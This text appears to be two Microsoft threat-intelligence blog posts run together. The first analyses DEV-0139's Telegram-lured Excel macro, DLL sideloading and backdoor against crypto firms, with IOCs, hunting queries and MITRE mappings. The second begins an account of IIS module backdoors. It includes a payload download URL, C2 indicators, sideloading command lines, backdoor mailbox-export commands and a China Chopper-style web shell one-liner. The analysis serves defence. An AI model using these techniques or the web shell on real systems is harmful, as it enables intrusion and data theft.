Over the past several years, the cryptocurrency market has considerably expanded, gaining the interest of investors and threat actors. Cryptocurrency itself has been used by cybercriminals for their operations, notably for ransom payment in ransomware attacks, but we have also observed threat actors directly targeting organizations within the cryptocurrency industry for financial gain. Attacks targeting this market have taken many forms, including fraud, vulnerability exploitation, fake applications, and usage of info stealers, as attackers attempt to get their hands on cryptocurrency funds.

We are also seeing more complex attacks wherein the threat actor shows great knowledge and preparation, taking steps to gain their target’s trust before deploying payloads. For example, Microsoft recently investigated an attack where the threat actor, tracked as DEV-0139, took advantage of Telegram chat groups to target cryptocurrency investment companies. DEV-0139 joined Telegram groups used to facilitate communication between VIP clients and cryptocurrency exchange platforms and identified their target from among the members. The threat actor posed as representatives of another cryptocurrency investment company, and in October 2022 invited the target to a different chat group and pretended to ask for feedback on the fee structure used by cryptocurrency exchange platforms. The threat actor had a broader knowledge of this specific part of the industry, indicating that they were well prepared and aware of the current challenge the targeted companies may have.

After gaining the target’s trust, DEV-0139 then sent a weaponized Excel file with the name OKX Binance & Huobi VIP fee comparision.xls which contained several tables about fee structures among cryptocurrency exchange companies. The data in the document was likely accurate to increase their credibility. This weaponized Excel file initiates the following series of activities:

1. A malicious macro in the weaponized Excel file abuses UserForm of VBA to obfuscate the code and retrieve some data.
2. The malicious macro drops another Excel sheet embedded in the form and executes it in invisible mode. The said Excel sheet is encoded in base64, and dropped into C:\ProgramData\Microsoft Media\ with the name VSDB688.tmp
3. The file VSDB688.tmp downloads a PNG file containing three executables: a legitimate Windows file named logagent.exe, a malicious version of the DLL wsock32.dll, and an XOR encoded backdoor.
4. The file logagent.exe is used to sideload the malicious wsock32.dll, which acts as a DLL proxy to the legitimate wsock32.dll. The malicious DLL file is used to load and decrypt the XOR encoded backdoor that lets the threat actor remotely access the infected system.

Further investigation through our telemetry led to the discovery of another file that uses the same DLL proxying technique. But instead of a malicious Excel file, it is delivered in an MSI package for a CryptoDashboardV2 application, dated June 2022. This may suggest other related campaigns are also run by the same threat actor, using the same techniques.

In this blog post, we will present the details uncovered from our investigation of the attack against a cryptocurrency investment company, as well as analysis of related files, to help similar organizations understand this kind of threat, and prepare for possible attacks. Researchers at Volexity recently published their findings on this attack as well.

As with any observed nation state actor activity, Microsoft directly notifies customers that have been targeted or compromised, providing them with the information they need to secure their accounts. Microsoft uses DEV-#### designations as a temporary name given to an unknown, emerging, or a developing cluster of threat activity, allowing Microsoft Threat Intelligence Center (MSTIC) to track it as a unique set of information until we reach a high confidence about the origin or identity of the actor behind the activity. Once it meets the criteria, a DEV is converted to a named actor.

Initial compromise

To identify the targets, the threat actor sought out members of cryptocurrency investment groups on Telegram. In the specific attack, DEV-0139 got in touch with their target on October 19, 2022 by creating a secondary Telegram group with the name <NameOfTheTargetedCompany> <> OKX Fee Adjustment and inviting three employees. The threat actor created fake profiles using details from employees of the company OKX. The screenshot below shows the real accounts and the malicious ones for two of the users present in the group.

It’s worth noting that the threat actor appears to have a broad knowledge of the cryptocurrency industry and the challenges the targeted company may face. The threat actor asked questions about fee structures, which are the fees used by crypto exchange platforms for trading. The fees are a big challenge for investment funds as they represent a cost and must be optimized to minimize impact on margin and profits. Like many other companies in this industry, the largest costs come from fees charged by exchanges. This is a very specific topic that demonstrates how the threat actor was advanced and well prepared before contacting their target.

After gaining the trust of the target, the threat actor sent a weaponized Excel document to the target containing further details on the fees to appear legitimate. The threat actor used the fee structure discussion as an opportunity to ask the target to open the weaponized Excel file and fill in their information.

Weaponized Excel file analysis

The weaponized Excel file, which has the file name OKX Binance & Huobi VIP fee comparision.xls (Sha256: abca3253c003af67113f83df2242a7078d5224870b619489015e4fde060acad0), is well crafted and contains legitimate information about the current fees used by some crypto exchanges. The metadata extracted showed that the file was created by the user Wolf:

File name	OKX Binance & Huobi VIP fee comparision.xls
CompObjUserTypeLen	31
CompObjUserType	Microsoft Excel 2003 Worksheet
ModifyDate	2022:10:14 02:34:33
TitleOfParts	Comparison_Oct 2022
SharedDoc	No
Author	Wolf
CodePage	Windows Latin 1 (Western European)
AppVersion	16
LinksUpToDate	No
ScaleCrop	No
LastModifiedBy	Wolf
HeadingPairs	Worksheets, 1
FileType	XLS
FileTypeExtension	xls
HyperlinksChanged	No
Security	None
CreateDate	2022:10:14 02:34:31
Software	Microsoft Excel
MIMEType	application/vnd.ms-excel

The macro is obfuscated and abuses UserForm (a feature used to create windows) to store data and variables. In this case, the name of the UserForm is IFUZYDTTOP, and the macro retrieves the information with the following code IFUZYDTTOP.MgQnQVGb.Caption where MgQnQVGb is the name of the label in the UserForm and .caption allows to retrieve the information stored into the UserForm.

The table below shows the data retrieved from the UserForm:

Obfuscated data	Original data
IFUZYDTTOP.nPuyGkKr.Caption & IFUZYDTTOP.jpqKCxUd.Caption	MSXML2.DOMDocument
IFUZYDTTOP.QevjtDZF.Caption	b64
IFUZYDTTOP.MgQnQVGb.Caption	bin.base64
IFUZYDTTOP.iuiITrLG.Caption	Base64 encoded Second Worksheet
IFUZYDTTOP.hMcZvwhq.Caption	C:\ProgramData\Microsoft Media
IFUZYDTTOP.DDFyQLPa.Caption	\VSDB688.tmp
IFUZYDTTOP.PwXgwErw.Caption & IFUZYDTTOP.ePGMifdW.Caption	Excel.Application

The macro retrieves some parameters from the UserForm as well as another XLS file stored in base64. The XLS file is dropped into the directory C:\ProgramData\Microsoft Media as VSDB688.tmp and runs in invisible mode.

Additionally, the main sheet in the Excel file is protected with the password dragon to encourage the target to enable the macros. The sheet is then unprotected after installing and running the other Excel file stored in Base64. This is likely used to trick the user to enable macros and not raise suspicion.

Extracted worksheet

The second Excel file, VSDB688.tmp (Sha256: a2d3c41e6812044573a939a51a22d659ec32aea00c26c1a2fdf7466f5c7e1ee9), is used to retrieve a PNG file that is parsed later by the macro to extract two executable files and the encrypted backdoor. Below is the metadata for the second worksheet:

File Name	VSDB688.tmp
CompObjUserType	Microsoft Excel 2003 Worksheet
ModifyDate	2022:08:29 08:07:24
TitleOfParts	Sheet1
SharedDoc	No
CodePage	Windows Latin 1 (Western European)
AppVersion	16
LinksUpToDate	No
ScaleCrop	No
CompObjUserTypeLen	31
HeadingPairs	Worksheets, 1
FileType	XLS
FileTypeExtension	xls
HyperlinksChanged	No
Security	None
CreateDate	2006:09:16 00:00:00
Software	Microsoft Excel
MIMEType	application/vnd.ms-excel

The table below shows the deobfuscated data retrieved from the UserForm:

Obfuscated data	Original data
GGPJPPVOJB.GbEtQGZe.Caption & GGPJPPVOJB.ECufizoN.Caption	MSXML2.DOMDocument
GGPJPPVOJB.BkxQNjsP.Caption	b64
GGPJPPVOJB.slgGbwvS.Caption	bin.base64
GGPJPPVOJB.kiTajKHg.Caption	C:\ProgramData\SoftwareCache\
GGPJPPVOJB.fXSPzIWf.Caption	logagent.exe
GGPJPPVOJB.JzrHMGPQ.Caption	wsock32.dll
GGPJPPVOJB.pKLagNSW.Caption	56762eb9-411c-4842-9530-9922c46ba2da
GGPJPPVOJB.grzjNBbk.Caption	/shadow
GGPJPPVOJB.aJmXcCtW.Caption & GGPJPPVOJB.zpxMSdzi.Caption	MSXML2.ServerXMLHTTP.6.0
GGPJPPVOJB.rDHwJTxL.Caption	Get

The macro retrieves some parameters from the UserForm then downloads a PNG file from hxxps://od.lk/d/d021d412be456a6f78a0052a1f0e3557dcfa14bf25f9d0f1d0d2d7dcdac86c73/Background.png. The file was no longer available at the time of analysis, indicating that the threat actor likely deployed it only for this specific attack.

The PNG is then split into three parts and written in three different files: the legitimate file logagent.exe, a malicious version of wsock32.dll, and the XOR encrypted backdoor with the GUID (56762eb9-411c-4842-9530-9922c46ba2da). The three files are used to load the main payload to the target system.

Loader analysis

Two of the three files extracted from the PNG file, logagent.exe and wsock32.dll, are used to load the XOR encrypted backdoor. The following sections present our in-depth analysis of both files.

Logagent.exe

Logagent.exe (Hash: 8400f2674892cdfff27b0dfe98a2a77673ce5e76b06438ac6110f0d768459942) is a legitimate system application used to log errors from Windows Media Player and send the information for troubleshooting.

The file contains the following metadata, but it is not signed:

Description	Value
language	English-US
code-page	Unicode UTF-16 little endian
CompanyName	Microsoft Corporation
FileDescription	Windows Media Player Logagent
FileVersion	12.0.19041.746
InternalName	logagent.exe
LegalCopyright	© Microsoft Corporation. All rights reserved.
OriginalFilename	logagent.exe
ProductName	Microsoft® Windows® Operating System
ProductVersion	12.0.19041.746

The logagent.exe imports function from the wsock32.dll which is abused by the threat actor to load malicious code into the targeted system. To trigger and run the malicious wsock32.dll, logagent.exe is run with the following arguments previously retrieved by the macro: 56762eb9-411c-4842-9530-9922c46ba2da /shadow. Both arguments are then retrieved by wsock32.dll. The GUID 56762eb9-411c-4842-9530-9922c46ba2da is the filename for the malicious wsock32.dll to load and /shadow is used as an XOR key to decrypt it. Both parameters are needed for the malware to function, potentially hindering isolated analysis.

Wsock32.dll

The legitimate wsock32.dll is the Windows Socket API used by applications to handle network connections. In this attack, the threat actor used a malicious version of wsock32.dll to evade detection. The malicious wsock32.dll is loaded by logagent.exe through DLL side-loading and uses DLL proxying to call the legitimate functions from the real wsock32.dll and avoid detection. DLL proxying is a hijacking technique where a malicious DLL sits in between the application calling the exported function and a legitimate DLL that implements that exported function. In this attack, the malicious wsock32.dll acts as a proxy between logagent.exe and the legitimate wsock32.dll.

It is possible to notice that the DLL is forwarding the call to the legitimate functions by looking at the import address table:

When the malicious wsock32.dll is loaded, it first retrieves the command line, and checks if the file with the GUID as a filename is present in the same directory using the CreateFile API to retrieve a file handle.

The malicious wsock32.dll loads and decodes the final implant into the memory with the GUID name which is used to remote access the infected machine.

SHA256	2e8d2525a523b0a47a22a1e9cc9219d6526840d8b819d40d24046b17db8ea3fb
Imphash	52ff8adb6e941e2ce41fd038063c5e0e
Rich PE Hash	ff102ff1ac1c891d1f5be7294035d19e
Filetype	PE32+ DLL
Compile Timestamp	2022-08-29 06:33:10 UTC

Once the file is loaded into the memory, it gives remote access to the threat actor. At the time of the analysis, we could not retrieve the final payload. However, we identified another variant of this attack and retrieved the payload, which is discussed in the next section. Identified implants were connecting back to the same command-and-control (C2) server.

Related attack

We identified another file using a similar mechanism as logagent.exe and delivering the same payload. The loader is packaged as an MSI package and as posed an application called CryptoDashboardV2 (Hash: e5980e18319027f0c28cd2f581e75e755a0dace72f10748852ba5f63a0c99487). After installing the MSI, it uses a legitimate application called tplink.exe to sideload the malicious DLL called DUser.dll and uses  DLL proxying as well.

creation datetime	11/12/2009 11:47
author	168 Trading
title	Installation Database
page count	200
word count	2
keywords	Installer, MSI, Database
last saved	11/12/2009 11:47
revision number	{30CD8B94-5D3C-4B55-A5A3-3FC9C7CCE6D5}
last printed	11/12/2009 11:47
application name	Advanced Installer 14.5.2 build 83143
subject	CryptoDashboardV2
template	x64;1033
code page	Latin I
comments	This installer database contains the logic and data required to install CryptoDashboardV2.

Once the package is installed, it runs and side-loads the DLL using the following command: C:\Users\user\AppData\Roaming\Dashboard_v2\TPLink.exe” 27E57D84-4310-4825-AB22-743C78B8F3AA /sven, where it noticeably uses a different GUID.

Further analysis of the malicious DUser.dll showed that its original name is also HijackingLib.dll, same as the malicious wsock32.dll. This could indicate the usage of the same tool to create these malicious DLL proxies. Below are the file details of DUser.dll:

SHA256	90b0a4c9fe8fd0084a5d50ed781c7c8908f6ade44e5654acffea922e281c6b33
Imphash	52ff8adb6e941e2ce41fd038063c5e0e
Rich PE Hash	ff102ff1ac1c891d1f5be7294035d19e
Filetype	Win32 DLL
Compile Timestamp	2022-06-20 07:47:07 UTC

Once the DLL is running, it loads and decodes the implant in the memory and starts beaconing the same domain. In that case, the implant is using the GUID name 27E57D84-4310-4825-AB22-743C78B8F3AA and the XOR key /sven.

Implant analysis

The payload decoded in the memory by the malicious DLL is an implant used by the threat actor to remotely access the compromised machine. We were able to get the one from the second variant we uncovered. Below are the details of the payload:

SHA256	ea31e626368b923419e8966747ca33473e583376095c48e815916ff90382dda5
Imphash	96321fa09a450119a8f0418ec86c3e08
Rich PE Hash	8c4fb0cb671dbf8d859b875244c4730c
Filetype	Win32 DLL
Compile Timestamp	2022-06-20 00:51:33 UTC

First, the sample retrieves some information from the targeted system. It can connect back to a remote server and receive commands from it.

Infrastructure

It is interesting to notice that the threat actor abused OpenDrive in one of the variants to deliver the payload. The OpenDrive account has been set up quickly for a one shot, indicating that it was created for only one target.

We identified one domain used as C2 server, strainservice[.]com and connected back to the two implants. This domain was registered on June 26 on Namecheap, just before the distribution of the first variant. At the time of the attack, the server had port 80, 443, and 2083. The implants were communicated on port 443.

Defending against targeted attacks

In this report we analyzed a targeted attack on cryptocurrency investment fund startups. Such companies are relatively new, but manage hundreds of millions of dollars, raising interest by threat actors.   

In this attack we identified that the threat actor has broad knowledge of the cryptocurrency industry as well as the challenges their targets may face, increasing the sophistication of the attack and their chance of success. The threat actor used Telegram, an app widely used in the field, to identify the profile of interest, gained the target’s trust by discussing relevant topics, and finally sent a weaponized document that delivered a backdoor through multiple mechanisms. Additionally, the second attack identified was luring a fake crypto dashboard application.

The cryptocurrency market remains a field of interest for threat actors. Targeted users are identified through trusted channels to increase the chance of success. While the biggest companies can be targeted, smaller companies can also be targets of interest. The techniques used by the actor covered in this blog can be mitigated by adopting the security considerations provided below:

• Use the included indicators of compromise to investigate whether they exist in your environment and assess for potential intrusion.
• Educate end users about protecting personal and business information in social media, filtering unsolicited communication (in this case, Telegram chat groups), identifying lures in spear-phishing email and watering holes, and reporting of reconnaissance attempts and other suspicious activity.
• Educate end users about preventing malware infections, such as ignoring or deleting unsolicited and unexpected emails or attachments sent via instant messaging applications or social networks. Encourage end users to practice good credential hygiene and make sure the Microsoft Defender Firewall (which is enabled by default) is always on to prevent malware infection and stifle propagation.
• Change Excel macro security settings to control which macros run and under what circumstances when you open a workbook. Customers can also stop malicious XLM or VBA macros by ensuring runtime macro scanning by Antimalware Scan Interface (AMSI) is on. This feature—enabled by default—is on if the Group Policy setting for Macro Run Time Scan Scope is set to “Enable for All Files” or “Enable for Low Trust Files”.
• Turn on attack surface reduction rules to prevent common attack techniques observed in this threat:
  • Block Office applications from creating executable content
  • Block Office communication application from creating child processes
  • Block Win32 API calls from Office macros
• Ensure that Microsoft Defender Antivirus is up to date and that real-time behavior monitoring is enabled.

Detection details

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects threat components as the following malware:

• TrojanDownloader:O97M/Wolfic.A
• TrojanDownloader:O97M/Wolfic.B
• TrojanDownloader:O97M/Wolfic.C
• TrojanDownloader:Win32/Wolfic.D
• TrojanDownloader:Win32/Wolfic.E
• Behavior:Win32/WolficDownloader.A
• Behavior:Win32/WolficDownloader.B

Microsoft Defender for Endpoint

Alerts with the following titles in the security center can indicate threat activity on your network:

• An executable loaded an unexpected dll
• DLL search order hijack
• ‘Wolfic’ malware was prevented

Advanced hunting queries

The following hunting queries locate relevant activity.

Query that looks for Office apps that create a file within one of the known bad directories:

DeviceFileEvents
| where InitiatingProcessFileName has_any ("word", "excel", "access", "outlook" "powerpnt")
| where ActionType == "FileCreated"
| where parse_path( FolderPath ).DirectoryPath has_any(
    @"C:\ProgramData\Microsoft Media",
    @"C:\ProgramData\SoftwareCache",
    @"Roaming\Dashboard_v2"
    )
| project Timestamp, DeviceName, FolderPath, InitiatingProcessFileName, SHA256, InitiatingProcessAccountName, InitiatingProcessAccountDomain

Query that looks for Office apps that create a file within an uncommon directory (less that five occurrences), makes a set of each machine this is seen on, and each user that has executed it to help look for how many users/hosts are compromised:

DeviceFileEvents
| where InitiatingProcessFileName has_any ("word", "excel", "access", "outlook", "powerpnt")
| where ActionType == "FileCreated"
| extend Path = tostring(parse_path(FolderPath).DirectoryPath)
| summarize PathCount=count(), DeviceList=make_set(DeviceName), AccountList=make_set(InitiatingProcessAccountName) by FileName, Path, InitiatingProcessFileName, SHA256
| where PathCount < 5

Query that summarizes child process of Office apps, looking for less than five occurrences:

DeviceProcessEvents
| where InitiatingProcessFileName has_any ("word", "excel", "access", "powerpnt")
| summarize ProcessCount=count(), DeviceList=make_set(DeviceName), AccountList=make_set(InitiatingProcessAccountName) by FileName, FolderPath, SHA256, InitiatingProcessFileName
| where ProcessCount < 5

Query that lists of all executables with Microsoft as ProcessVersionInfoCompanyName, groups them together by path, then looks for uncommon paths, with less than five occurrences:

DeviceProcessEvents
| where ProcessVersionInfoCompanyName has "Microsoft"
| extend Path = tostring(parse_path(FolderPath).DirectoryPath)
| summarize ProcessList=make_set(FileName) by Path
| where array_length( ProcessList ) < 5

Query that searches for connections to malicious domains and IP addresses:

DeviceNetworkEvents
| where (RemoteUrl has_any ("strainservice.com")) 
     or (RemoteIP has_any ("198.54.115.248"))

Query that searches for files downloaded from malicious domains and IP addresses.

DeviceFileEvents
| where (FileOriginUrl  has_any ("strainservice.com")) 
     or (FileOriginIP  has_any ("198.54.115.248"))

Query that searchers for Office apps downloading files from uncommon domains, groups users, filenames, and devices together:

DeviceFileEvents
| where InitiatingProcessFileName has_any ("word", "excel", "access", "powerpnt")
| where ActionType == "FileCreated"
| where isnotempty( FileOriginUrl ) or isnotempty( FileOriginIP )
| summarize DomainCount=count(), UserList=make_set(InitiatingProcessAccountName), DeviceList=make_set(DeviceName),
    FileList=make_set(FileName) by FileOriginUrl, FileOriginIP, InitiatingProcessFileName

Looks for downloaded files with uncommon file extensions, groups remote IPs, URLs, filenames, users, and devices:

DeviceFileEvents
| where InitiatingProcessFileName has_any ("word", "excel", "access", "powerpnt", "outlook")
| where ActionType == "FileCreated"
| where isnotempty( FileOriginUrl ) or isnotempty( FileOriginIP )
| extend Extension=tostring(parse_path(FolderPath).Extension)
| extend  Path=tostring(parse_path(FolderPath).DirectoryPath)
| summarize ExtensionCount=count(), IpList=make_set(FileOriginIP), UrlList=make_set(FileOriginUrl), FileList=make_set(FileName),
    UserList=make_set(InitiatingProcessAccountName), DeviceList=make_set(DeviceName) by Extension, InitiatingProcessFileName

Looks for Office apps that have child processes that match the GUID command line, with a check for Microsoft binaries to reduce the results before the regex:

DeviceProcessEvents
| where InitiatingProcessFileName has_any ("word", "excel", "access", "powerpnt")
| where ProcessVersionInfoCompanyName has "Microsoft"
| where ProcessCommandLine matches regex 
    @"[A-Za-z0-9]+\.exe [A-Za-z0-9]{8}-[A-Za-z0-9]{4}-[A-Za-z0-9]{4}-[A-Za-z0-9]{4}-[A-Za-z0-9]{12} /[A-Za-z0-9]$"

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytic to automatically match the malicious IP and domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace. More details on the Content Hub can be found here:  https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy

To supplement this indicator matching customers can use the Advanced Hunting queries listed above against Microsoft 365 Defender data ingested into their workspaces as well as the following Microsoft Sentinel queries:

• Least common parent and child process pairs: https://github.com/Azure/Azure-Sentinel/blob/master/Solutions/Windows%20Security%20Events/Hunting%20Queries/Least_Common_Parent_Child_Process.yaml

• Detect anomalous process trees: https://github.com/Azure/Azure-Sentinel/blob/46906229919827bffa14211341f52dd68e27ad81/Hunting%20Queries/Microsoft%20365%20Defender/Execution/detect-anomalous-process-trees.yaml

Indicators of compromise

IOC	Filename/Type	Description
abca3253c003af67113f83df2242a7078d5224870b619489015e4fde060acad0	OKX Binance & Huobi VIP fee comparision.xls	Weaponized Excel file
17e6189c19dedea678969e042c64de2a51dd9fba69ff521571d63fd92e48601b	OKX Binance & Huobi VIP fee comparision.xls	Weaponized Excel file
a2d3c41e6812044573a939a51a22d659ec32aea00c26c1a2fdf7466f5c7e1ee9	VSDB688.tmp	Second worksheet dropped
2e8d2525a523b0a47a22a1e9cc9219d6526840d8b819d40d24046b17db8ea3fb	wsock32.dll / HijackingLib.dll	Malicious dropper that acts as a DLL proxy to legit wsock32.dll
82e67114d632795edf29ce1d50a4c1c444846d9e16cd121ce26e63c8dc4a1629	Duser.dll
90b0a4c9fe8fd0084a5d50ed781c7c8908f6ade44e5654acffea922e281c6b33	Duser.dll / HijackingLib.dll	Malicious dropped that acts as a DLL proxy to the legit Duser.dll
e5980e18319027f0c28cd2f581e75e755a0dace72f10748852ba5f63a0c99487	4acbe3.msi	Fake CryptoDashboard application MSI package  delivering Duser.dll
82e67114d632795edf29ce1d50a4c1c444846d9e16cd121ce26e63c8dc4a1629	43d972.msi	Second fake application BloxHolder delviering Duser.dll
ea31e626368b923419e8966747ca33473e583376095c48e815916ff90382dda5	DLL	Implant loaded by Duser.dll
C:\ProgramData\SoftwareCache\wsock32.dll	Path	Path of wsock32.dll
C:\Users\user\AppData\Roaming\Dashboard_v2\DUser.dll	Path	Path of Duser.Dll
C:\Program Files\CryptoDashboardV2\	Path	Path of the fake app
C:\ProgramData\Microsoft Media\VSDB688.tmp	Path	Path of the second worksheet
hxxps://od.lk/d/d021d412be456a6f78a0052a1f0e3557dcfa14bf25f9d0f1d0d2d7dcdac86c73/Background.png	Background.png downloaded from OpenDrive	Png file downloaded on the victim machines
strainservice.com	Domain/C2	Command and control server
198.54.115.248	IP/C2	IP of the C2
56762eb9-411c-4842-9530-9922c46ba2da	GUID	GUID used
27E57D84-4310-4825-AB22-743C78B8F3AA	GUID	GUID used
TPLink.exe” 27E57D84-4310-4825-AB22-743C78B8F3AA /sven	Command line	Command line runs by the legit exe
logagent.exe 56762eb9-411c-4842-9530-9922c46ba2da /shadow	Command line	Command line runs by the legit file

MITRE ATT&CK techniques

Tactics	Technique ID	Name	Description
Reconnaissance	T1591	Gather Victim Org Information	The attackers gathered information about the targets reaching them on Telegram with a clear understanding of their challenges.
	T1593.001	Social Media	Attackers identified the targets on specific crypto currencies group on Telegram.
Resource Development	T1583.001	Acquire Infrastructure: Domains	Attackers registered the domain “strainservice.com” on June 18
Initial Access	T1566.001	Spearphishing Attachment	Attackers sent a weaponized Excel document. Execution
Execution	T1204.002	User Execution: Malicious File	The targeted user must open the weaponized Excel document and enable macros.
	T1059.005	Command and Scripting Interpreter: Visual Basic	Attackers used VBA in the malicious excel document “OKX Binance & Huobi VIP fee comparision.xls” to deliver the implant.
	T1106	Native API	Usage of CreateProcess API in the excel document to run the executable.
Persistence, Privilege Escalation, Defense Evasion	T1574.002	DLL side-Loading	The attackers abused the legitimate Logagent.exe to side-load the malicious wsock32.dll and the legitimate TPLink.Exe to side load Duser.dll
Defense Evasion	T1027	Obfuscated file or information	The malicious VBA is obfuscated using UserForm to hide variable and data.
	T1036.005	Masquerading: Match Legitimate Name or Location	The attackers are using legitimate DLL name that acts as DLL Proxy to the original one (wsock32.dll and Duser.dll).
	T1027.009	Obfuscated Files or Information: Embedded Payloads	The malicious DLL are dropping the implant into the machine.
Command & Control	T1071.001	Application Layer Protocol: Web Protocols	The implant is communicating to the remote domain through port 80 or 443.
	T1132	Data Encoding	The implant is encoding the data exchanged with the C2.
Exfiltration	T1041	Exfiltration over C2 channel	The implant has the ability to exfiltrate information.

The post DEV-0139 launches targeted attacks against the cryptocurrency industry appeared first on Microsoft Security Blog.

Attackers are increasingly leveraging Internet Information Services (IIS) extensions as covert backdoors into servers, which hide deep in target environments and provide a durable persistence mechanism for attackers. While prior research has been published on specific incidents and variants, little is generally known about how attackers leverage the IIS platform as a backdoor.

Malicious IIS extensions are less frequently encountered in attacks against servers, with attackers often only using script web shells as the first stage payload. This leads to a relatively lower detection rate for malicious IIS extensions compared to script web shells. IIS backdoors are also harder to detect since they mostly reside in the same directories as legitimate modules used by target applications, and they follow the same code structure as clean modules. In most cases, the actual backdoor logic is minimal and cannot be considered malicious without a broader understanding of how legitimate IIS extensions work, which also makes it difficult to determine the source of infection.

Typically, attackers first exploit a critical vulnerability in the hosted application for initial access before dropping a script web shell as the first stage payload. At a later point in time, the attackers then install an IIS backdoor to provide highly covert and persistent access to the server. Attackers can also install customized IIS modules to fit their purposes, as we observed in a campaign targeting Exchange servers between January and May 2022, as well as in our prior research on the custom IIS backdoors ScriptModule.dll and App_Web_logoimagehandler.ashx.b6031896.dll. Once registered with the target application, the backdoor can monitor incoming and outgoing requests and perform additional tasks, such as running remote commands or dumping credentials in the background as the user authenticates to the web application.

As we expect attackers to continue to increasingly leverage IIS backdoors, it’s vital that incident responders understand the basics of how these attacks function to successfully identify and defend against them. Organizations can further improve their defenses with Microsoft 365 Defender, whose protection capabilities are informed by research like this and our unique visibility into server attacks and compromise. With critical protection features like threat and vulnerability management and antivirus capabilities, Microsoft 365 Defender provides organizations with a comprehensive solution that coordinates protection across domains, spanning email, identities, cloud, and endpoints.

In this blog post, we detail how IIS extensions work and provide insight into how they are being leveraged by attackers as backdoors. We also share some of our observations on the IIS threat landscape over the last year to help defenders identify and protect against this threat and prepare the larger security community for any increased sophistication. More specifically, the blog covers the following topics:

• Understanding IIS extensions
• Attack flow using a custom IIS backdoor
  • Command runs
  • Credential access
  • Remote access
  • Exfiltration
• Types of IIS backdoors
  • Web shell-based variants
  • Open-source variants
  • IIS handlers
  • Credential stealers
• Improving defenses against server compromise

Understanding IIS extensions

IIS is a flexible, general purpose web server that has been a core part of the Windows platform for many years now. As an easy-to-manage, modular, and extensible platform for hosting websites, services, and applications, IIS serves critical business logic for numerous organizations. The modular architecture of IIS allows users to extend and customize web servers according to their needs. These extensions can be in the form of native (C/C++) and managed (C#, VB.NET) code structures, with the latter being our focus on this blog post. The extensions can further be categorized as modules and handlers.

The IIS pipeline is a series of extensible objects that are initiated by the ASP.NET runtime to process a request. IIS modules and handlers are .NET components that serve as the main points of extensibility in the pipeline. Each request is processed by multiple IIS modules before being processed by a single IIS handler. Like a set of building blocks, modules and handlers are added to provide the desired functionality for the target application. In addition, handlers can be configured to respond to specific attributes in the request such a URL, file extension, and HTTP method. For example, Aspnet_isapi.dll is a pre-configured IIS handler for common .aspx extensions.

Creating custom managed IIS modules

To create a managed IIS module, the code must implement the IHttpModule interface. The IHttpModule interface has two methods with the following signatures: Init() and Dispose().

Inside Init(), the module can synchronize with any number of HTTP events available in the request pipeline, listed here in sequential order:

• BeginRequest
• AuthenticateRequest
• AuthorizeRequest
• ResolveRequestCache
• AcquireRequestState
• PreRequestHandlerExecute
• PostRequestHandlerExecute
• ReleaseRequestState
• UpdateRequestCache
• EndRequest
• PreSendRequestHeaders
• PreSendRequestContent

The newly created extension should then be mapped with the target application to complete the registration. Generally, there are several methods that can be used to map managed modules for legitimate purposes. On the other hand, we observed that attackers used the following techniques to register malicious IIS extensions during attacks:

Register with global assembly cache (GAC) PowerShell API: Every device with Common Language Runtime (CLR) hosts a device-wide cache called the global assembly cache (GAC). The GAC stores assemblies specifically designated to be shared by several applications on the device. GacInstall() is a PowerShell API to add modules into the global cache. Once installed, the module is available under the path %windir%\Microsoft.NET\assembly and is mapped to IIS (w3wp.exe) using appcmd.exe.

Register using appcmd.exe: Appcmd.exe is the single command line tool for managing IIS. All critical aspects, such as adding or removing modules and handlers, can be performed using the utility. In this case, the attackers drop the malicious extension in the target application’s /bin folder and map it using the add module command.

Register using gacutil.exe: Gacutil.exe is a Visual Studio shipped .NET GAC utility. The tool allows the user to view and manipulate the contents of the GAC, including installing new modules using the -I option.

Register using web.config: After dropping the module in the application’s /bin folder, attackers can also edit the web.config of the target application or the global config file, applicationHost.config, to register the module.

Upon successful registration, the module is visible inside the IIS manager application.

Attack flow using a custom IIS backdoor

Between January and May 2022, our IIS-related detections picked up an interesting campaign targeting Microsoft Exchange servers. Web shells were dropped in the path %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\ via ProxyShell exploit.

After a period of doing reconnaissance, dumping credentials, and establishing a remote access method, the attackers installed a custom IIS backdoor called FinanceSvcModel.dll in the folder C:\inetpub\wwwroot\bin\. The backdoor had built-in capability to perform Exchange management operations, such as enumerating installed mailbox accounts and exporting mailboxes for exfiltration, as detailed below.  

Command runs

PowerShDLL toolkit, an open-source project to run PowerShell without invoking powershell.exe, was used to run remote commands. The attacker avoided invoking common living-off-the-land binaries (LOLBins), such as cmd.exe or powershell.exe in the context of the Exchange application pool (MSExchangeOWAAppPool) to evade related detection logic.

Credential access

The attackers enabled WDigest registry settings, which forced the system to use WDigest protocol for authentication, resulting in lsass.exe retaining a copy of the user’s plaintext password in memory. This change allowed the attackers to steal the actual password, not just the hash. Later, Mimikatz was run to dump local credentials and perform a DCSYNC attack.

Remote access

The attackers used plink.exe, a command-line connection tool like SSH. The tool allowed the attackers to bypass network restrictions and remotely access the server through tunneled RDP traffic.

Exfiltration

The attacker invoked the IIS backdoor by sending a crafted POST request with a cookie EX_TOKEN. The module extracts the cookie value and initiates a mailbox export request with the supplied filter.

The value decodes to: ep,06/21/2022,06/21/2022,C:\Windows\Web,Administrator, where ep is the command to initiate the mailbox export request with filters determining the start and end dates followed by the export path. The final command has the following syntax:

The table below details all the commands found in the backdoor:

Command	Description
test	Attempts to load Exchange Management Shell (EMS)- Add-PSSnapin Microsoft.Exchange.Management.Powershell.SnapIn
box	List all UserPrincipalNames-  foreach ($name in Get-Mailbox -ResultSize unlimited){ Write-Output $name.UserPrincipalName}
ep	Run New-MailboxExportRequest cmdlet with supplied mailbox name, start and end date, and export path as filters.
gep	Get the task ID associated with the export request
ruh	Tamper with Exchange logs

Types of IIS backdoors

Reviewing the malicious managed (.NET) IIS extensions observed over the past year, we grouped these extensions based on various factors such as similar capabilities and sources of origin, as further detailed in the below sections. 

Web shell-based variants

Web shells like China Chopper have been widely used in numerous targeted attacks. As China Chopper’s usage increased over the years, so did the detections. As a result, the attackers evolved and added IIS module-based versions of these web shells that maintain the same functionality. The module uses the same eval() technique that’s used in the script version for running the code. While most antivirus solutions would detect the one-liner web shell, such as < %@page language=js%><%eval(request.item(<password>),”unsafe”);%>, embedding the same code in an IIS module generates lower detection rates.

